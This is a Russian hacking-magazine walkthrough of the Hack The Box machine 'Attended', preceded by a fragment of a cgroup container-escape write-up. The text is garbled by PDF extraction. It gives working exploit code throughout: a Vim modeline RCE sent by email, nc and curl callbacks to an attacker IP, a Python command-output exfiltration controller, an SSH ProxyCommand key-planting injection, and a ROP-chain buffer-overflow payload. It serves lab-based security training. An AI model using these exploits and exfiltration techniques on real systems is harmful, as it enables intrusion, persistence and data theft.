В сле дующем бло ке кода записы вают ся выпол няемые на основном хос те
коман ды и дает ся пра во на исполне ние. В отли чие от исходно го экс пло ита,
где про исхо дит получе ние спис ка про цес сов, в наш экс пло ит вста вим коман- 
ду записи пуб лично го клю ча SSH (генери руем коман дой ) в файл

.
ssh-keygen

/root/.ssh/authorized_keys

  echo '#!/bin/sh' > /cmd 
  echo "echo 'ssh rsa AAAA...' > /root/.ssh/authorized_keys" >> /cmd 

chmod a+x /cmd 

На конец мы можем выпол нить ата ку, запус тив про цесс, который немед ленно
завер шится внут ри дочер ней кон троль ной груп пы . Соз дав про цесс
и записав его PID в файл  в каталог дочер ней кон троль ной
груп пы , мы ини циируем выпол нение сце нария  на основном хос те.

x
cgroup.procs

x /cmd

sh  -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Пол ный поль зователь ский экс пло ит

В резуль тате выпол нения это го кода наш пуб личный ключ SSH будет записан
на уда лен ном хос те, что дает нам воз можность под клю чить ся от име ни root.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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https://xakep.ru/2020/05/26/gitlab-exploit/
https://github.com/mperham/sidekiq
https://github.com/hanslub42/rlwrap
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https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt
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ATTENDED

ИНЖЕКТИМ КОМАНДЫ В VIM И РАСКРУЧИВАЕМ
БИНАРНУЮ УЯЗВИМОСТЬ С ПОМОЩЬЮ ROP-

ЦЕПОЧЕК

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этой статье мы раз берем опас ную экс- 
плу ата цию уяз вимос ти в редак торе Vim
и нес коль ко спо собов эксфиль тра ции дан- 
ных, а так же некото рые опас ные кон- 
фигура ции SSH. В качес тве вишен ки
на тор те — бинар ная уяз вимость, экс плу- 
ата ция которой и поз волит зах ватить хост.
А поможет нам в этих раз вле чени ях «безум- 
ная» по слож ности машина Attended с пло- 
щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ад рес машины — 10.10.10.221, сра зу добав ляем его в , что бы
мож но было обра щать ся по име ни.

/etc/hosts

10.10.10.221    attended.htb 

Тра дици онно перехо дим к ска ниро ванию пор тов:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем два откры тых пор та: 22 (служ ба SSH)
и 25 (SMTP-сер вер). На SSH нам ловить нечего (брут уче ток — пос леднее
дело!). Оста ется толь ко порт 25, а в слу чае с SMTP глав ный век тор —
это фишинг.

В резуль татах ска ниро вания упо мина ется имя поль зовате ля , это уже
что-то. Мы будем отправ лять сооб щение, содер жащее наш локаль ный адрес,
и прос матри вать тра фик на наличие сетево го вза имо дей ствия. В тек сте
сооб щения мож но написать что угод но, к при меру «Hi, guly! See 10.10.14.121».
Для сбо ра тра фика акти виру ем tcpdump и с помощью филь тра отоб разим
толь ко те пакеты, адрес наз начения которых наш локаль ный.

guly

sudo tcpdump -i tun0 dst 10.10.14.121

Для отправ ки сооб щения будем исполь зовать удоб ный скрипт . Для ука- 
зания получа теля и отпра вите ля исполь зуют ся парамет ры  и 
соот ветс твен но, текст сооб щения ука зыва ется в фай ле, путь к которо му
переда ется в парамет ре , адрес сер вера — в парамет ре .

swaks
--to --from

--body -s

swaks --to guly@attended.htb --from ralf@attended.htb --body body.
txt -s 10.10.10.221:25 

От прав ка сооб щения с помощью swaks

Сна чала в окне tcpdump будут толь ко отве ты сер вера, но через нес коль ко
секунд мы уже уви дим зап рос, при чем к пор ту 25.

Се тевые пакеты, при ходя щие на локаль ный хост

ÒÎ×ÊÀ ÂÕÎÄÀ

Ка жет ся, нам пыта ются отве тить! Что бы при нять ответ, раз вернем прос той
сер вер SMTP на локаль ном хос те. Для это го уста новим и запус тим Postx.

apt sudo install postfix 
sudo service postfix start 

Все при нятые сооб щения будут рас положе ны в фай ле, наз вание которо го
сов пада ет с име нем локаль ного поль зовате ля (у меня — zralf). А рас положен
этот файл в дирек тории . Для отсле жива ния вхо дящих писем
в пос тоян ном режиме мож но запус тить про вер ку в watch.

/var/mail/

 watch -p 'cat /var/mail/ralf'

Пов торим отправ ку сооб щения и получим ответ в кон соли watch.

При нятое сооб щение на локаль ном сер вере

Из тек ста сооб щения отме чаем еще одно го поль зовате ля — ,
а так же упо мина ние опе раци онной сис темы OpenBSD (это мы зна ли) и тек- 
сто вого редак тора Vim.

freshness

Что бы мы ни делали даль ше, никаких отве тов, кро ме упо мяну того сооб- 
щения, мы не получим. Что ж, будем работать с теми дан ными, которые име- 
ем. Во-пер вых, в качес тве отпра вите ля будем ука зывать най ден ного поль- 
зовате ля, а во-вто рых, есть шанс как-то исполь зовать Vim. Поищем готовые
экс пло иты для него.

Для поис ка экс пло итов удоб на база , встро енная в Kali Linux
и дос тупная через ути литу searchsploit, но в реаль ных усло виях луч ше исполь- 
зовать Google, что бы искать по всем дос тупным иссле дова ниям и отче там,
вклю чая самые новые.

Exploit-DB

По иск экс пло итов для Vim с помощью searchsploit

Вер сию исполь зуемо го тек сто вого редак тора мы не зна ем, поэто му возь мем
экс пло ит для самой све жей — 8.1.1365.  поз воля ет выпол- 
нить коман ды в опе раци онной сис теме при откры тии фай лов со спе циаль ным
содер жимым (да, это воз можно! Vim — слож ный инс тру мент, а это зна чит, что
такие вот сюр при зы иног да встре чают ся).

CVE-2019-12735

INFO

Под робнее о про исхожде нии и экс плу ата ции это- 
го бага читай в статье «

».
Убой ный текст. Выпол- 

няем про изволь ный код в Vim и Neovim

Как ука зано в опи сании экс пло ита, мы переда ем коман ду, которую нуж но
выпол нить, меж ду сим волами  и . При мер выпол нения коман ды :! ||

:uname -a

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:
fdt="

PoC CVE-2019-12735

Поп робу ем про верить экс пло ит на прак тике, но дело осложня ется тем, что мы
не видим резуль тата выпол нения коман ды. Поэто му нуж но выпол нить обра- 
щение с уда лен ного хос та на наш локаль ный. Поп робу ем выз вать кон нект
по про токо лу TCP. Сиг нализи ровать об обра щении нам будет ути лита netcat:

nc -lvp 4321 

Для соз дания кон некта с уда лен ного хос та тоже можем прос то исполь зовать
netcat, ука зав свой IP и прос лушива емый порт ( ). Как ука зано
в экс пло ите, соз дадим файл-вло жение со сле дующим содер жимым:

nc [ip] 4321

:!nc [ip] 4321||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):
fdl=0:fdt="

И пов торим отправ ку сооб щения, ука зав этот файл в парамет ре .--attach

swaks --to guly@attended.htb --from freshness@attended.htb --attach 
expl.txt -s 10.10.10.221:25 

Нем ного ждем и, не получив никако го откли ка, дела ем два пред положе ния:
либо экс пло ит не работа ет, либо на сер вере нет netcat. Давай поп робу ем
сде лать то же самое, но уже исполь зуя curl и по про токо лу HTTP. Изме ним
коман ду в при лага емом фай ле .expl.txt

:!curl http://[ip]:4321||" vi:fen:fdm=expr:fde=assert_fails("source\
!\ \%"):fdl=0:fdt="

Сно ва ждем, ничего не получа ем и зак рыва ем лис тенер netcat. Есть еще два
вари анта выпол нить бэк коннект — DNS и ICMP. Давай поп робу ем вари ант
с пин гом. Прос матри вать тра фик будем с помощью tcpdump, ука зав в филь- 
тре толь ко пакет ICMP:

sudo tcpdump -i tun0 icmp 

А теперь отправ ляем файл (коман ду swaks не при вожу, она оста ется преж- 
ней), который в этот раз содер жит коман ду с пин гом. И спус тя некото рое вре- 
мя получа ем отклик!

 4 ip]||:!ping -c [ " vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):
fdl=0:fdt="

ICMP-пакеты в tcpdump

Та ким обра зом, мы можем исполь зовать ping как сиг нал об успешном
или неус пешном выпол нении отправ ленной коман ды. Для это го будем
исполь зовать два кон вей ера:

 — если пинг при шел, то коман да 
выпол нилась успешно, ина че нет;

• COMMAND && ping [IP] COMMAND

 — если пинг при шел, то коман да 
не выпол нилась.

• COMMAND || ping [IP] COMMAND

ÇÀÊÐÅÏËÅÍÈÅ

Мы можем лишь узнать, выпол нилась коман да или нет, но не зна ем ее
резуль тат. Что бы про извести эксфиль тра цию резуль тата выпол ненных
команд, нам нуж но най ти спо соб обра щать ся по HTTP. Нуж но най ти коман ду,
с помощью которой это мож но было бы делать. Как искать? Будем зап- 
рашивать help у каж дой прог раммы. Нач нем с curl, меня ем содер жимое
отправ ляемо го фай ла:

  4 ip]||:!curl -h && ping -c [ " vi:fen:fdm=expr:fde=assert_fails("
source\!\ \%"):fdl=0:fdt="

Пинг не при шел, при этом если исполь зовать дру гой тип кон вей ера (
), то пакеты идут. Дела ем вывод: curl на хос те отсутс тву ет.

Теперь про верим таким же спо собом wget:

curl -h
|| ping -c 4 [ip]

  4 ip]||:!wget -h && ping -c [ " vi:fen:fdm=expr:fde=assert_fails("
source\!\ \%"):fdl=0:fdt="

Пин га нет, но есть при обратном кон вей ере , то есть wget тоже отсутс тву ет.
Про буем Python 2:

||

  4 ip]||:!python2 -h && ping -c [ " vi:fen:fdm=expr:fde=assert_fails("
source\!\ \%"):fdl=0:fdt="

И получа ем пинг, а зна чит, Python 2 есть на хос те! Про веря ем, можем ли мы
пос тучать ся на свой хост по HTTP. Для начала запус тим прос той HTTP-сер вер
на Python 3:

sudo python3 -m http.server 80 

А на хос те нуж но выпол нить такой скрипт:

import requests 
requests.get('http://[ip]/test')

Это мож но сде лать пря мо из кон соли, содер жимое отправ ляемо го фай ла
будет сле дующим:

  
 4 ip]||

:!python2 -c "import requests; requests.get('http://[ip]/test')" || 
ping -c [ " vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):
fdl=0:fdt="

Этот кон вей ер либо выпол нит обра щение к нашему веб-сер веру, либо прос- 
то попин гует наш хост. И спус тя вре мя получа ем обра щение к стра нице .test

Ло ги веб-сер вера

Те перь поп робу ем эксфиль тро вать дан ные. Для начала выпол ним в кон соли
коман ду whoami, резуль тат которой закоди руем в Base64, потом обра тим ся
к нашей стра нице на сер вере. Так мы получим закоди рован ные дан ные. Вот
как будет выг лядеть код:

 import requests
 import base64

    a = base64.b64encode( '$(whoami)' )
  requests.get('http://[ip]/' + a)

Со дер жимое отправ ляемо го фай ла будет сле дующим:

 
  4 ip]||

:!python2 -c "import requests, base64; a=base64.b64encode('$(whoami)
'); requests.get('http://[ip]/'+a)" ; ping -c [ " vi:fen:
fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

В логах веб-сер вера видим обра щение к какой-то стра нице. Это резуль тат
выпол ненной коман ды, закоди рован ный в Base64. Таким длин ным путем мы
получа ем выпол нение кода на сер вере и узна ем, что работа ем в кон тек сте
поль зовате ля .guly

Ло ги веб-сер вера и декоди рова ние Base64

Итак, мы смог ли про извести эксфиль тра цию дан ных, но метод не очень удоб- 
ный, так как мы не смо жем эксфиль тро вать мно гос троч ные дан ные. Пер вым
делом добь емся пол ной эксфиль тра ции. Будем выпол нять коман ду средс тва- 
ми Python 2, ее резуль тат записы вать в файл в дирек тории , пос ле чего
читать и кодиро вать этот файл для отправ ки, если коман да была выпол нена
успешно. Если коман да завер шилась с ошиб кой, то будем воз вра щать стро ку
Command failed. Ниже при вожу реали зацию на Python.

/tmp

 import requests
 import base64
 import os

ans=os.system('COMMAND > /tmp/res')
  res = ''
 if ans==0:

     res = open('/tmp/res').read()
else:

  res = 'Command failed'
requests.get('http://[ip]/'+base64.b64encode(res))

В этом скрип те сле дует толь ко ука зывать коман ду, которую нуж но выпол нить.
Его запись в виде однос троч ника будет нем ного отли чать ся:

 :!python2 -c "import requests, base64, os; ans=os.system('COMMAND > /
tmp/res'); res = ''; res = open('/tmp/res').read() if ans==0 else 
'Command failed'; requests.get('http://[ip]/'+base64.b64encode(res))"
||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Про веря ем наш экс пло ит попыт ками выпол нить работа ющую коман ду 
 и коман ду , которая вер нет ошиб ку.ls -la /home/guly cat /root/root.txt

От вет на работа ющую и нерабо тающую коман ды

Да вай теперь реали зуем фун кцию, которая будет зап рашивать коман ду,
генери ровать файл вло жения и отправ лять его на поч товый сер вер.

 import subprocess
 import os

  IP = ''

 def executeCommand(COMMAND):
     

    

    

expl = """:!python2 -c "import requests, base64, os; ans=os.
system('""" + COMMAND + """ > /tmp/res'); res = ''; res = open('/tmp/
res').read() if ans==0 else 'Command failed'; requests.get('http://
""" + IP + """/'+base64.b64encode(res))"||" vi:fen:fdm=expr:
fde=assert_fails("source\!\ \%"):fdl=0:fdt="
"""
      f_expl = open('expl.txt', 'wt')
   f_expl.write(expl)
   f_expl.close()
       with open(os.devnull, 'wb') as devnull:

   
     

       subprocess.check_call(['swaks', '--to', 'guly@attended.htb',
'--from', 'freshness@attended.htb', '--attach', 'expl.txt', '-s',
'10.10.10.220x6010c0

  1:25'], stdout=devnull, stderr=devnull)

 def main():
     command = input('command > ')
   executeCommand(command)

main()

Про вер ка работы скрип та

Те перь добавим веб-сер вер в наш скрипт, что бы декоди рова ние и зап рос
сле дующей коман ды про исхо дили авто мати чес ки.

    from http.server import BaseHTTPRequestHandler, HTTPServer
 import logging

 class EvilServer(BaseHTTPRequestHandler):
    def _set_response(self):
       self.send_response_only(404)
       self.end_headers()

    def do_GET(self):
       self._set_response()
       print(base64.b64decode(self.path[1:].encode()).decode())

   def run(server_class=HTTPServer, handler_class=EvilServer, port=80):
      server_address = ('', port)
      httpd = server_class(server_address, handler_class)
   try:
       httpd.serve_forever()
    except KeyboardInterrupt:
       pass
   httpd.server_close()

Те перь нуж но сов местить наши бло ки кода. При стар те прог раммы (фун кция
) запус кает ся веб-сер вер. Пос ле чего добавим зап рос коман ды

и выпол нение отправ ки фай ла с экс пло итом (фун кция ).
При выпол нении на сер вере коман ды он отве тит переда чей закоди рован ных
дан ных, которые мы обра бота ем в методе  клас са . Нам
нуж но получить путь, к которо му про исхо дит обра щение, и декоди ровать его.
Пос ле чего вновь про извести зап рос коман ды. Пол ный код с изме нени ями
при вожу ниже (нуж но ука зать лишь свой IP), работа ет мед ленно, но удоб но:

run()
executeCommand()

do_GET() EvilServer

    from http.server import BaseHTTPRequestHandler, HTTPServer
 import base64
 import logging
 import subprocess
 import os

  IP = ''

 class EvilServer(BaseHTTPRequestHandler):
    def _set_response(self):
       self.send_response_only(404)
       self.end_headers()

    def do_GET(self):
       self._set_response()
       print(base64.b64decode(self.path[1:].encode()).decode())

         command = input('command > ')
       executeCommand(command)

   def run(server_class=HTTPServer, handler_class=EvilServer, port=80):
      server_address = ('', port)
      httpd = server_class(server_address, handler_class)
     command = input('command > ')
   executeCommand(command)
   try:
       httpd.serve_forever()
    except KeyboardInterrupt:
       pass
   httpd.server_close()

 def executeCommand(COMMAND):
     

    

    

expl = """:!python2 -c "import requests, base64, os; ans=os.
system('""" + COMMAND + """ > /tmp/res'); res = ''; res = open('/tmp/
res').read() if ans==0 else 'Command failed'; requests.get('http://
""" + IP + """/'+base64.b64encode(res))"||" vi:fen:fdm=expr:
fde=assert_fails("source\!\ \%"):fdl=0:fdt="
"""
      f_expl = open('expl.txt', 'wt')
   f_expl.write(expl)
   f_expl.close()
       with open(os.devnull, 'wb') as devnull:

   
     

  

       subprocess.check_call(['swaks', '--to', 'guly@attended.htb',
'--from', 'freshness@attended.htb', '--attach', 'expl.txt', '-s',
'10.10.10.221:25'], stdout=devnull, stderr=devnull)

run()

Вы пол нение пол ного кода кон трол лера экс пло ита

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/jetmore/swaks
https://www.exploit-db.com/
https://www.exploit-db.com/exploits/46973
https://xakep.ru/2019/10/07/vim-rce/
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ИНЖЕКТИМ КОМАНДЫ В VIM

И РАСКРУЧИВАЕМ БИНАРНУЮ УЯЗВИМОСТЬ
С ПОМОЩЬЮ ROP-ЦЕПОЧЕК

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Вот мы и проб рались на машину. Сра зу обра щаем вни мание на поль зовате- 
лей, у которых есть домаш ние катало ги, а так же отме чаем, что дирек тория

 дос тупна нам для записи, но не для чте ния.shared

Со дер жимое дирек тории /home

В домаш ней дирек тории поль зовате ля находим еще одну инте рес ную дирек- 
торию —  — и не менее инте рес ный файл . Ока зыва ется, код
ими тиру ет чита юще го сооб щения и отве чающе го нам поль зовате ля. В том же
фай ле находим фун кцию, которая про веря ет, не кида ем ли мы реверс-шелл.
Но еще инте рес нее файл .

tmp gchecker.py

.config.swp

Со дер жимое домаш ней дирек тории поль зовате ля guly

Фун кция checkmsf из gchecker.py

Это файл обме на Vim, который соз дает ся сра зу при откры тии фай ла, в дан- 
ном слу чае . По содер жимому мы понима ем, что это кон фиг SSH,
в котором ука зан поль зователь .

config
freshness

Со дер жимое фай ла .cong.swp

Пос коль ку мы име ем пра во на запись в дирек тории , которая при над- 
лежит груп пе , и соз дан файл обме на Vim для кон фига SSH поль- 
зовате ля , получа ется, что мы можем записать кон фиг 

 поль зовате ля .

share
freshness

freshness /home/
share/config freshness

В этом слу чае нас инте ресу ет дирек тива , которая поз волит
выпол нить коман ду. Коман да оче вид на — поп робу ем для любого хос та (

) записать пуб личный ключ SSH ( ), который сге- 
нери руем коман дой . Что бы не экра ниро вать вся кие спе циаль ные
сим волы в нашем экс пло ите, прос то отпра вим сооб щение со сле дующим
вло жени ем (нуж но толь ко вста вить свой SSH-ключ).

ProxyCommand
Host

* ProxyCommand echo ...
ssh-keygen

   
 

:!echo "Host *" >> /home/shared/config; echo "  ProxyCommand echo 
'ssh-rsa AA....' > ~/.ssh/authorized_keys" >> /home/shared/config ||
" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Спус тя некото рое вре мя под клю чаем ся по SSH с при ват ным клю чом.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

В домаш ней дирек тории поль зовате ля находим дирек торию ,
содер жащую бинар ный файл и запис ку. В запис ке ска зано, что коман да
authkeys не работа ет на , но работа ет на . Эту запись мы
обна ружим в фай ле , что озна чает наличие вто рого хос та.

authkeys

attended attendedgw
/etc/hosts

Со дер жимое дирек тории authkeys

Со дер жимое фай ла /etc/hosts

Наш ли новый хост — ска ниру ем пор ты! Для это го нуж но прок сировать тра фик
через уже дос тупный хост с помощью SSH. Локаль ный прок си-сер вер будет
при нимать соеди нение на порт 22222:

ssh -i id_rsa freshness@attended.htb -D 22222 -N

Пе ренап равле ние нас тро им с помощью . Для это го добавим
запись  в конец фай ла .
Затем ска ниру ем с помощью Nmap:

proxychains
socks4 127.0.0.1 22222 /etc/proxichains.conf

500 proxychains -q nmap 192.168.23.1 --min-rate=

От кры тые пор ты на хос те attendedgw

Бы ло ска зано, что скрипт не работа ет для SSHD, давай взгля нем на файл 
 Он содер жит заком менти рован ную опцию
.

./etc/ssh/sshd_config
AuthorizedKeysCommand

Со дер жимое фай ла /etc/ssh/sshd_cong

 пре дос тавля ет воз можность авто ризо вать поль- 
зовате ля без добав ления пуб лично го клю ча в файл ,
при этом пред полага ется, что ключ хра нит ся где-то на уда лен ном сер вере.
Так же дол жна быть про писа на опция , где ука- 
зыва ется поль зователь, от име ни которо го будет запус кать ся скрипт (у нас
это , то есть мы наш ли вер ный путь к повыше нию при виле гий). На вход
скрип ту переда ются сле дующие токены:

AuthorizedKeysCommand
authorized_keys

AuthorizedKeysCommandUser

root

 — циф ровой отпе чаток (ngerprint) клю ча или сер тифика та;• %f
 — домаш няя дирек тория поль зовате ля;• %h
 — тип клю ча или сер тифика та;• %t
 — ключ или сер тификат для авто риза ции, закоди рован ный в Base64.• %k

То, что прог рамма при нима ет на вход толь ко четыре аргу мен та, ста новит ся
ясно и пос ле ее ана лиза в дизас сем бле ре (я исполь зую IDA Pro): она выводит
соот ветс тву ющее сооб щение. Перед тем как дизас сем бли ровать, сна чала
заг ружа ем исполня емый файл на свой хост:

scp -i id_rsa freshness@attended.htb:~/authkeys/authkeys ./ 

Раз деление строк реали зова но сим волом , поэто му IDA учи тыва ет их
как одну стро ку. Но мож но заменить их при выч ным сим волом окон чания стро- 
ки — . Тог да поведе ние прог раммы ста нет нем ного понят нее.

0x0A

0

Стро ки, пред став ленные в прог рамме изна чаль но

Стро ки пос ле замены сим вола окон чания стро ки

Про вер ка количес тва аргу мен тов и вывод соот ветс тву юще го сооб щения

Раз бира ясь с кодом, не забыва ем учи тывать уже име ющуюся информа цию
о при нима емых аргу мен тах. Так как пос ледний аргу мент дол жен быть пред- 
став лен в фор мате Base64, мы можем сра зу най ти фун кцию, которая выпол- 
няет кодиро вание. Обра ти вни мание, что осу щест вля ется копиро вание
в буфер раз мером 0x300 байт, а пос ле это го — потен циаль ное перепол- 
нение буфера.

Пер вые бло ки фун кции обра бот ки чет верто го аргу мен та

Пос ледний блок фун кции обра бот ки чет верто го аргу мен та

Про верим теорию с перепол нени ем, для чего ско пиру ем исполня емый файл
в каталог . Что бы опре делить сме щение, по которо му сто ит про изво дить
переза пись, сге нери руем  с помощью биб- 
лиоте ки .

/tmp
пос ледова тель ность де Брёй на

pwntools

Ге нери рова ние пос ледова тель нос ти де Брёй на

Те перь запус тим прог рамму в отладчи ке GDB и переда дим чет вертым
парамет ром нашу стро ку. Пос ле того как прог рамма упа дет, про верим дан- 
ные по регис тру . Видим часть нашей стро ки и копиру ем пер вые четыре
бай та, которые переда ем обратно в скрипт cyclic, что бы опре делить сме- 
щение.

RSP

За пуск прог раммы в отладчи ке

Оп ределе ние сме щения

Так как тут есть уяз вимость перепол нения буфера, давай добь емся выпол- 
нения команд на хос те. В этом нам помогут ROP-цепоч ки. Об этой тех нике
в «Хакере» уже мно гок ратно писали, так что не будем пов торять ся.

Сна чала получим все цепоч ки с помощью ути литы .ROPgadget

ROPgadget --binary authkeys 

Об наружен ные гад жеты

В спис ке гад жетов находим . С помощью его мы и выпол ним коман ду
опе раци онной сис темы, выз вав фун кцию . Но сна чала раз берем ся
с усло виями пра виль ной работы, а имен но с содер жимым регис тров
при вызове :

syscall
execve

syscall
RAX — содер жит номер вызова (для  — 59);• execve
RDI — пер вый аргу мент фун кции (ука затель на коман ду);•
RSI — вто рой аргу мент фун кции (ука затель на мас сив );• argv[]
RDX — тре тий аргу мент фун кции (ука затель на мас сив ).• envp[]

Пер вым делом раз берем ся с регис тром RAX, куда нам нуж но помес тить зна- 
чение 59. Для работы с ним мы можем исполь зовать два гад жета: побито вый
сдвиг впра во и побито вое отри цание.

     0x0000000000400394 : mov eax, 0xffffffff ; xor rcx, rcx ; ret
    0x000000000040036d : not al ; adc cl, 0xe8 ; ret
     0x0000000000400370 : shr eax, 1 ; ret

Сна чала уста новим зна чение регис тра , потом выпол ним 24 сдви- 
га, что бы обо собить один байт со зна чени ем , то есть  (тог да
как нам нуж но 0x3b или ). Потом выпол ним ряд опе раций по пре обра- 
зова нию:

0xffffffff
0xff 11111111

111011

   mov_eax = pack('<Q', 0x0000000000400394)
   not_al = pack('<Q', 0x000000000040036d)
   shr_eax = pack('<Q', 0x0000000000400370)

  SET_RAX = mov_eax
   for i in range(24):

     SET_RAX += shr_eax      # RAX = 11111111
  SET_RAX += shr_eax          # RAX = 01111111
  SET_RAX += not_al           # RAX = 10000000

   for i in range(3):
     SET_RAX += shr_eax      # RAX = 00010000

  SET_RAX += not_al           # RAX = 11101111
  SET_RAX += shr_eax          # RAX = 01110110
  SET_RAX += shr_eax          # RAX = 00111011

Та ким обра зом мы уста нав лива ем зна чение 59 в регис тре . Теперь раз- 
бира емся с коман дой. Будем писать SSH-ключ в файл  (для
тес тирова ния пишем в локаль ную дирек торию). Здесь важ но опре делить ся c
адре сом, по которо му будут записа ны наши дан ные. Тут это сде лать прос то:
ста тичес кая перемен ная, куда будет записа на декоди рован ная стро ка, рас- 
положе на пос ле уже задан ных строк по адре су . Нач нем нашу наг- 
рузку с выб ранной коман ды и ее аргу мен тов, тог да они будут рас положе ны
по это му адре су. Тог да мы смо жем лег ко вычис лить и их сме щения, которые
мы рас положим пос ле строк. Завер шим наг рузку еще дву мя адре сами: адре- 
сом мас сива строк и адре сом мас сива ука зате лей на эти же стро ки.

RAX
authorized_keys

0x6010c0

 def to_addr(s):
        return s + b'\x00'*(8 - len(s)%8)

 def to_float(addr):
      s = pack('<f', addr)
       s += b'\x00' * (8-len(s))
    return s

  command = [
   to_addr(b"/bin/sh"),
   to_addr(b"-c"),
   to_addr(b"echo 'qweewqqweewq' >> /tmp/authorized_keys")
]

  payload_address = 0x6010c0

  command_offset = 0
     payload = b"".join(command) + pack('<Q', 0x00)

  pointer_offset = len(payload)
    payload += pack('<Q', payload_address )
      payload += pack('<Q', payload_address + len(command[0]) )
       

 
payload += pack('<Q', payload_address + len(command[0]) + len(command
[1]) )

   payload += pack('<Q', 0x00000000)

  offsets = len(payload)
  payload += to_float(payload_address)
    payload += to_float(payload_address + pointer_offset)

Те перь зай мем ся уста нов кой зна чений регис тров ,  и . Тут было
очень слож но опре делить цепоч ку гад жетов, но все же выделя ем сле дующие:

RDI RSI RDX

       0x000000000040037b : movss xmm0, dword ptr [rdx] ; mov ebx, 
0xf02d0ff3 ; ret

     0x0000000000400380 : cvtss2si esi, xmm0 ; ret
     0x0000000000400367 : mov rdi, rsi ; pop rdx ; ret
    0x000000000040036a : pop rdx ; ret

Ко ман да  копиру ет млад шее упа кован ное вещес твен ное зна чение
из опе ран да-источни ка в млад шее 32-бит ное поле опе ран да-наз начения (в
нашем слу чае из  в ). Коман да  пре обра зует млад шее
корот кое вещес твен ное зна чение из опе ран да в памяти в зна ковое 32-бит- 
ное целочис ленное зна чение и помеща ет резуль тат в 32-бит ный регистр
обще го наз начения (у нас из  в ). Так мож но задать зна чение регис- 
тра . А тре тий гад жет поможет перенес ти его в . Зна чение регис тра
RDX мож но обну лить. Но вот в чем была проб лема: цепоч ка начина ется
с перено са зна чения из регис тра , но нет гад жета для перено са зна чения
в него. Что делать? Мне приш лось про кон суль тировать ся со зна током,
который дал под сказ ку: пос мотреть на саму прог рамму. При выходе
из текуще го бло ка  ука зыва ет на .

movss

RDX xmm0 cvtss2si

xmm0 esi
RSI RDI

RDX

RDX payload_address + 768

Пос ледний блок фун кции обра бот ки чет верто го аргу мен та

А зна чит, мы можем задать зна чение  по сме- 
щению .

payload_address + offsets
payload_address + 768

# ... payload_address + 768 ...
     payload += pack('<Q', payload_address + offsets)
       

     
SET_RDI = pack('<Q', 0x000000000040037b ) + pack('<Q',
0x0000000000400380 ) + pack('<Q', 0x0000000000400367 )

          
     

SET_RSI = pack('<Q', payload_address + offsets + 0x8) + pack('<Q',
0x000000000040037b ) + pack('<Q', 0x0000000000400380 )

        SET_RDX = pack('<Q', 0x000000000040036a ) + pack('<Q', 0x00 )

И в кон це добав ляем вызов :syscall

# 0x00000000004003cf : syscall
    SYSCALL = pack('<Q', 0x00000000004003cf )

Те перь собира ем все воеди но:
сна чала идет мас сив строк, сос тавля ющий нашу коман ду;•
за тем идет мас сив ука зате лей на каж дую стро ку;•
за тем рас положе ны два ука зате ля на мас сивы строк и ука зате лей на стро- 
ки;

•

да лее встав ляем допол нение до 768 сим волов;•
те перь по дан ному сме щению ука зыва ем адрес мас сива ука зате лей,
который будет извле чен в регистр ;

•
RDX

за пол няем регистр  (номер );• RAX execve
за пол няем регистр  из  (ука затель на ука затель на глав ную коман- 
ду);

• RDI RDX

за пол няем регистр  (ука затель на мас сив аргу мен тов);• RSI
за нуля ем ;• RDX
вы зыва ем .• syscall

   from struct import pack
 import base64

 def to_addr(s):
        return s + b'\x00'*(8 - len(s)%8)

 def to_float(addr):
      s = pack('<f', addr)
       s += b'\x00' * (8-len(s))
    return s

  command = [
   to_addr(b"/bin/sh"),
   to_addr(b"-c"),
   to_addr(b"echo 'qweewqqweewq' >> /tmp/authorized_keys")
]

  payload_address = 0x6010c0
  payload = b""

   mov_eax = pack('<Q', 0x0000000000400394)
   not_al = pack('<Q', 0x000000000040036d)
   shr_eax = pack('<Q', 0x0000000000400370)

  SET_RAX = mov_eax
   for i in range(24):

     SET_RAX += shr_eax      # RAX = 11111111
  SET_RAX += shr_eax          # RAX = 01111111
  SET_RAX += not_al           # RAX = 10000000

   for i in range(3):
     SET_RAX += shr_eax      # RAX = 00010000

  SET_RAX += not_al           # RAX = 11101111
  SET_RAX += shr_eax          # RAX = 01110110
  SET_RAX += shr_eax          # RAX = 00111011

  payload = b""
     payload = b"".join(command) + pack('<Q', 0x00)

  pointer_offset = len(payload)
    payload += pack('<Q', payload_address )
      payload += pack('<Q', payload_address + len(command[0]) )
       

 
payload += pack('<Q', payload_address + len(command[0]) + len(command
[1]) )

    payload += pack('<Q', 0x00 )

  offsets = len(payload)
  payload += to_float(payload_address)
    payload += to_float(payload_address + pointer_offset)

        payload += pack('<Q', 0x00 ) * ((0x0300 - len(payload))//8)

     payload += pack('<Q', payload_address + offsets)

  payload += SET_RAX
       

      
payload += pack('<Q', 0x000000000040037b ) + pack('<Q',
0x0000000000400380 ) + pack('<Q', 0x0000000000400367 ) # SET_RDI

          
      

payload += pack('<Q', payload_address + offsets + 0x8) + pack('<Q',
0x000000000040037b ) + pack('<Q', 0x0000000000400380 ) # SET_RSI

         payload += pack('<Q', 0x000000000040036a ) + pack('<Q', 0x00 ) # 
SET_RDX

     payload += pack('<Q', 0x00000000004003cf ) # SYSCALL

